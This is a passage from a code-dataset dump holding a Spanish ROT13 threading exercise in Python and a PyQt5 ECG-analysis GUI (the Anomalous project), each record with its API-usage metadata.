"line_number": 46, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 57, "usage_type": "name"}, {"api_name": "healpy.isnsideok", "line_number": 61, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 62, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 63, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 116, "usage_type": "call"}, {"api_name": "astropy.io.fits.open", "line_number": 117, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 117, "usage_type": "name"}, {"api_name": "healpy.ang2pix", "line_number": 124, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 137, "usage_type": "call"}, {"api_name": "healpy.nside2npix", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 152, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 181, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 182, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 184, "usage_type": "call"}, {"api_name": "configparser.ExtendedInterpolation", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pylab.figure", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 189, "usage_type": "name"}, {"api_name": "healpy.rotator.Rotator", "line_number": 204, "usage_type": "call"}, {"api_name": "healpy.rotator", "line_number": 204, "usage_type": "attribute"}, {"api_name": "matplotlib.pylab.clf", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 207, "usage_type": "name"}, {"api_name": "healpy.mollview", "line_number": 229, "usage_type": "call"}, {"api_name": "dipole.get_dipole_temperature", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 237, "usage_type": "call"}, {"api_name": "healpy.pix2vec", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pylab.savefig", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 250, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 251, "usage_type": "call"}, {"api_name": "click.command", "line_number": 171, "usage_type": "call"}, {"api_name": "click.option", "line_number": 172, "usage_type": "call"}, {"api_name": "click.option", "line_number": 175, "usage_type": "call"}, {"api_name": "click.option", "line_number": 177, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 179, "usage_type": "call"}]}
{"seq_id": "72443870984", "text": "from multiprocessing import Queue\nfrom threading import Thread\nimport sys\n\n\ndef thread_1(queue1,queue2):\n    print(\"Hilo 1\")\n    sys.stdin = open(0)\n    print(\"Ingrese una linea:\")\n    line = sys.stdin.readline()\n    queue1.put(line)\n    data_encrypt = queue2.get()\n    print(f\"Hilo 1 recibe mensaje encriptado:{data_encrypt}\")\n\ndef thread_2(queue1,queue2):\n    data = queue1.get()\n    print(f\"Hilo 2 recibe mensaje: {data}\")\n    data_encrypt = encrypt(data)\n    print(\"Hilo 2 almacena mensaje encriptado...\")\n    queue2.put(data_encrypt)\n\ndef encrypt(data): #ROT13 a mano utilizando ASCII\n    data_encrypt = \"\"\n    for letter in data.strip():\n        letter = ord(letter)\n        if letter == 32:\n            data_encrypt += \"%\" #uso '%' para los espacios en blanco\n        else:\n            if(letter > 109):\n                data_encrypt += chr(letter-13)\n            else:\n                data_encrypt += chr(letter+13)\n    return data_encrypt\n\ndef main():\n    q1 = Queue()\n    q2 = Queue()\n    t1 = Thread(target = thread_1,args=(q1,q2), daemon = True)\n    t2 = Thread(target = thread_2,args=(q1,q2), daemon = True)\n    t1.start()\n    t2.start()\n    t1.join()\n    t2.join()\n\nif __name__ == '__main__':\n    main()", "repo_name": "DanielBalda/Computacion2", "sub_path": "Ejercicios/Rot13 con threading [th_rot13]/th_rot13.py", "file_name": "th_rot13.py", "file_ext": "py", "file_size_in_byte": 1216, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.stdin", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 10, "usage_type": "attribute"}, {"api_name": "multiprocessing.Queue", "line_number": 36, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 37, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 38, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "71523969545", "text": "from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QVBoxLayout\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar\n\n\nclass PlotWidget(QtWidgets.QWidget):\n    def __init__(self, parent=None, w=400, h=350, toolbar=False):\n        super().__init__(parent)\n\n        self.fig, self.ax = plt.subplots()\n        self.canvas = FigureCanvas(self.fig)\n        self.lay = QVBoxLayout(self)\n        if toolbar:\n            self.toolbar = NavigationToolbar(self.canvas, self)\n            self.lay.addWidget(self.toolbar)\n        self.lay.addWidget(self.canvas)\n\n        self.line, *_ = self.ax.plot([])\n\n        self.setLayout(self.lay)\n        self.setFixedSize(w, h)\n\n    def update_plot(self, data):\n        self.line.set_data(range(len(data)), data)\n\n        self.ax.set_xlim(0, len(data))\n        self.ax.set_ylim(min(data), max(data))\n        self.fig.tight_layout()\n        self.canvas.draw()\n\n\nclass MainWindow(QtWidgets.QWidget):\n    def __init__(self):\n        super().__init__(self)\n        self.initUI()\n\n    def initUi(self):\n        self.setObjectName(\"MainWindow\")\n        self.resize(931, 630)\n        self.centralwidget = QtWidgets.QWidget(MainWindow)\n        self.centralwidget.setObjectName(\"centralwidget\")\n        self.graphWidget = PlotWidget()\n        self.graphWidget.setGeometry(QtCore.QRect(20, 70, 511, 551))\n        self.graphWidget.setObjectName(\"graphWidget\")\n        self.gridLayoutWidget_2 = QtWidgets.QWidget(self.graphWidget)\n        self.gridLayoutWidget_2.setGeometry(QtCore.QRect(0, 0, 2, 2))\n        self.gridLayoutWidget_2.setObjectName(\"gridLayoutWidget_2\")\n        self.gridLayout_2 = QtWidgets.QGridLayout(self.gridLayoutWidget_2)\n        self.gridLayout_2.setContentsMargins(0, 0, 0, 0)\n        self.gridLayout_2.setObjectName(\"gridLayout_2\")\n        self.timeSlider = QtWidgets.QSlider(self.graphWidget)\n        self.timeSlider.setGeometry(QtCore.QRect(0, 527, 509, 20))\n        self.timeSlider.setOrientation(QtCore.Qt.Horizontal)\n        self.timeSlider.setObjectName(\"timeSlider\")\n        self.anomaliesWidget = QtWidgets.QWidget(self.centralwidget)\n        self.anomaliesWidget.setGeometry(QtCore.QRect(590, 150, 331, 471))\n        self.anomaliesWidget.setObjectName(\"anomaliesWidget\")\n        self.BButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.BButton.setEnabled(False)\n        self.BButton.setGeometry(QtCore.QRect(80, 250, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.BButton.setFont(font)\n        self.BButton.setObjectName(\"BButton\")\n        self.plusButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.plusButton.setEnabled(False)\n        self.plusButton.setGeometry(QtCore.QRect(80, 190, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.plusButton.setFont(font)\n        self.plusButton.setObjectName(\"plusButton\")\n        self.SButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.SButton.setEnabled(False)\n        self.SButton.setGeometry(QtCore.QRect(80, 310, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.SButton.setFont(font)\n        self.SButton.setObjectName(\"SButton\")\n        self.nButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.nButton.setEnabled(False)\n        self.nButton.setGeometry(QtCore.QRect(200, 190, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.nButton.setFont(font)\n        self.nButton.setObjectName(\"nButton\")\n        self.RButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.RButton.setEnabled(False)\n        self.RButton.setGeometry(QtCore.QRect(200, 250, 51, 41))\n        palette = QtGui.QPalette()\n        brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n        brush.setStyle(QtCore.Qt.SolidPattern)\n        palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush)\n        brush = QtGui.QBrush(QtGui.QColor(240, 240, 240))\n        brush.setStyle(QtCore.Qt.SolidPattern)\n        palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush)\n        brush = QtGui.QBrush(QtGui.QColor(240, 240, 240))\n        brush.setStyle(QtCore.Qt.SolidPattern)\n        palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush)\n        self.RButton.setPalette(palette)\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.RButton.setFont(font)\n        self.RButton.setObjectName(\"RButton\")\n        self.QButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.QButton.setEnabled(False)\n        self.QButton.setGeometry(QtCore.QRect(200, 310, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.QButton.setFont(font)\n        self.QButton.setObjectName(\"QButton\")\n        self.FButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.FButton.setEnabled(False)\n        self.FButton.setGeometry(QtCore.QRect(80, 130, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.FButton.setFont(font)\n        self.FButton.setObjectName(\"FButton\")\n        self.jButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.jButton.setEnabled(False)\n        self.jButton.setGeometry(QtCore.QRect(200, 130, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.jButton.setFont(font)\n        self.jButton.setObjectName(\"jButton\")\n        self.VButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.VButton.setEnabled(False)\n        self.VButton.setGeometry(QtCore.QRect(80, 70, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.VButton.setFont(font)\n        self.VButton.setObjectName(\"VButton\")\n        self.AButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.AButton.setEnabled(False)\n        self.AButton.setGeometry(QtCore.QRect(200, 70, 51, 41))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.AButton.setFont(font)\n        self.AButton.setObjectName(\"AButton\")\n        self.anomLabel = QtWidgets.QLabel(self.anomaliesWidget)\n        self.anomLabel.setEnabled(True)\n        self.anomLabel.setGeometry(QtCore.QRect(0, 10, 331, 20))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        font.setPointSize(14)\n        self.anomLabel.setFont(font)\n        self.anomLabel.setLayoutDirection(QtCore.Qt.LeftToRight)\n        self.anomLabel.setAutoFillBackground(False)\n        self.anomLabel.setTextFormat(QtCore.Qt.PlainText)\n        self.anomLabel.setScaledContents(False)\n        self.anomLabel.setAlignment(QtCore.Qt.AlignCenter)\n        self.anomLabel.setObjectName(\"anomLabel\")\n        self.tachyButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.tachyButton.setEnabled(False)\n        self.tachyButton.setGeometry(QtCore.QRect(20, 400, 111, 51))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.tachyButton.setFont(font)\n        self.tachyButton.setObjectName(\"tachyButton\")\n        self.bradyButton = QtWidgets.QPushButton(self.anomaliesWidget)\n        self.bradyButton.setEnabled(False)\n        self.bradyButton.setGeometry(QtCore.QRect(200, 400, 111, 51))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.bradyButton.setFont(font)\n        self.bradyButton.setObjectName(\"bradyButton\")\n        self.optionsWidget = QtWidgets.QWidget(self.centralwidget)\n        self.optionsWidget.setGeometry(QtCore.QRect(20, 20, 511, 51))\n        self.optionsWidget.setObjectName(\"optionsWidget\")\n        self.analysisButton = QtWidgets.QPushButton(self.optionsWidget)\n        self.analysisButton.setEnabled(True)\n        self.analysisButton.setGeometry(QtCore.QRect(340, 0, 171, 51))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.analysisButton.setFont(font)\n        self.analysisButton.setMouseTracking(True)\n        self.analysisButton.setObjectName(\"analysisButton\")\n        self.widget = QtWidgets.QWidget(self.optionsWidget)\n        self.widget.setGeometry(QtCore.QRect(-1, 0, 271, 51))\n        self.widget.setObjectName(\"widget\")\n        self.ageEdit = QtWidgets.QTextEdit(self.widget)\n        self.ageEdit.setGeometry(QtCore.QRect(160, 20, 104, 31))\n        self.ageEdit.setObjectName(\"ageEdit\")\n        self.filepathEdit = QtWidgets.QTextEdit(self.widget)\n        self.filepathEdit.setGeometry(QtCore.QRect(10, 20, 104, 31))\n        self.filepathEdit.setObjectName(\"filepathEdit\")\n        self.label = QtWidgets.QLabel(self.widget)\n        self.label.setGeometry(QtCore.QRect(10, 0, 101, 20))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.label.setFont(font)\n        self.label.setAlignment(QtCore.Qt.AlignCenter)\n        self.label.setObjectName(\"label\")\n        self.label_2 = QtWidgets.QLabel(self.widget)\n        self.label_2.setGeometry(QtCore.QRect(160, 0, 101, 20))\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        font.setBold(False)\n        font.setWeight(50)\n        self.label_2.setFont(font)\n        self.label_2.setTextFormat(QtCore.Qt.AutoText)\n        self.label_2.setScaledContents(False)\n        self.label_2.setAlignment(QtCore.Qt.AlignCenter)\n        self.label_2.setObjectName(\"label_2\")\n        self.valuesWidget = QtWidgets.QWidget(self.centralwidget)\n        self.valuesWidget.setGeometry(QtCore.QRect(610, 20, 311, 121))\n        self.valuesWidget.setObjectName(\"valuesWidget\")\n        self.gridLayoutWidget = QtWidgets.QWidget(self.valuesWidget)\n        self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 0, 311, 121))\n        self.gridLayoutWidget.setObjectName(\"gridLayoutWidget\")\n        self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget)\n        self.gridLayout.setContentsMargins(0, 0, 0, 0)\n        self.gridLayout.setObjectName(\"gridLayout\")\n        self.maxBPMDial = QtWidgets.QDial(self.gridLayoutWidget)\n        self.maxBPMDial.setEnabled(False)\n        self.maxBPMDial.setObjectName(\"maxBPMDial\")\n        self.gridLayout.addWidget(self.maxBPMDial, 1, 1, 1, 1)\n        self.signalQualityDial = QtWidgets.QDial(self.gridLayoutWidget)\n        self.signalQualityDial.setEnabled(False)\n        self.signalQualityDial.setObjectName(\"signalQualityDial\")\n        self.gridLayout.addWidget(self.signalQualityDial, 0, 1, 1, 1)\n        self.sQLabel = QtWidgets.QLabel(self.gridLayoutWidget)\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.sQLabel.setFont(font)\n        self.sQLabel.setAlignment(QtCore.Qt.AlignCenter)\n        self.sQLabel.setObjectName(\"sQLabel\")\n        self.gridLayout.addWidget(self.sQLabel, 0, 0, 1, 1)\n        self.maxBPMLabel = QtWidgets.QLabel(self.gridLayoutWidget)\n        font = QtGui.QFont()\n        font.setFamily(\"Yu Gothic UI\")\n        self.maxBPMLabel.setFont(font)\n        self.maxBPMLabel.setAlignment(QtCore.Qt.AlignCenter)\n        self.maxBPMLabel.setObjectName(\"maxBPMLabel\")\n        self.gridLayout.addWidget(self.maxBPMLabel, 1, 0, 1, 1)\n\n        self.retranslateUi(MainWindow)\n        QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n    def retranslateUi(self, MainWindow):\n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n        self.BButton.setText(_translate(\"MainWindow\", \"B\"))\n        self.plusButton.setText(_translate(\"MainWindow\", \"+\"))\n        self.SButton.setText(_translate(\"MainWindow\", \"S\"))\n        self.nButton.setText(_translate(\"MainWindow\", \"n\"))\n        self.RButton.setText(_translate(\"MainWindow\", \"R\"))\n        self.QButton.setText(_translate(\"MainWindow\", \"Q\"))\n        self.FButton.setText(_translate(\"MainWindow\", \"F\"))\n        self.jButton.setText(_translate(\"MainWindow\", \"j\"))\n        self.VButton.setText(_translate(\"MainWindow\", \"V\"))\n        self.AButton.setText(_translate(\"MainWindow\", \"A\"))\n        self.anomLabel.setText(_translate(\"MainWindow\", \"DETECTED ANOMALIES\"))\n        self.tachyButton.setText(_translate(\"MainWindow\", \"TACHYCARDIA\"))\n        self.bradyButton.setText(_translate(\"MainWindow\", \"BRADYCARDIA\"))\n        self.analysisButton.setText(_translate(\"MainWindow\", \"ANALYSIS\"))\n        self.label.setText(_translate(\"MainWindow\", \"File Path\"))\n        self.label_2.setText(_translate(\"MainWindow\", \"Patient\\'s Age\"))\n        self.sQLabel.setText(_translate(\"MainWindow\", \"SIGNAL QUALITY\"))\n        self.maxBPMLabel.setText(_translate(\"MainWindow\", \"MAX BPM\"))\n", "repo_name": "luigifusco/Anomalous", "sub_path": "pynomalous/gui/anomalousMainPageGUI.py", "file_name": "anomalousMainPageGUI.py", "file_ext": "py", "file_size_in_byte": 12660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 8, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_qt5agg.FigureCanvasQTAgg", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt5agg.NavigationToolbar2QT", "line_number": 16, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 34, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 34, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 42, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 42, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 45, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 45, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 47, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 47, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 48, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 48, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 50, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSlider", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 53, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 54, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 54, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 55, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 55, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 57, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 57, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 58, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 58, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 60, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 60, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 62, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 62, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 63, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 63, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 67, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 67, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 69, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 70, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 70, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 74, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 74, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 76, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 76, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 77, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 77, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 81, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 81, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 83, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 83, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 84, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 88, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 88, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 90, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 90, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 91, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 91, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 92, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 93, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 93, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 94, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 94, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 95, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 96, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 96, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 97, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 97, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 98, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 99, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 99, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 100, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 100, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 102, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 102, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 106, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 106, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 108, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 108, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 109, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 113, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 113, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 115, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 115, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 116, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 116, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 120, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 120, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 122, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 122, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 123, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 123, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 127, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 127, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 129, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 129, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 130, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 130, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 134, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 134, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 136, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 136, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 137, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 137, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 141, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 143, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 143, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 144, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 144, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 148, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 148, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 150, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 150, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 152, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 152, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 154, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 154, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 156, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 156, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 157, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 157, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 161, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 161, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 163, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 163, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 164, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 164, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 168, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 168, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 169, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 169, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 171, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 171, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 173, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 173, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 174, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 174, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 179, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 179, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 180, "usage_type": "call"}, 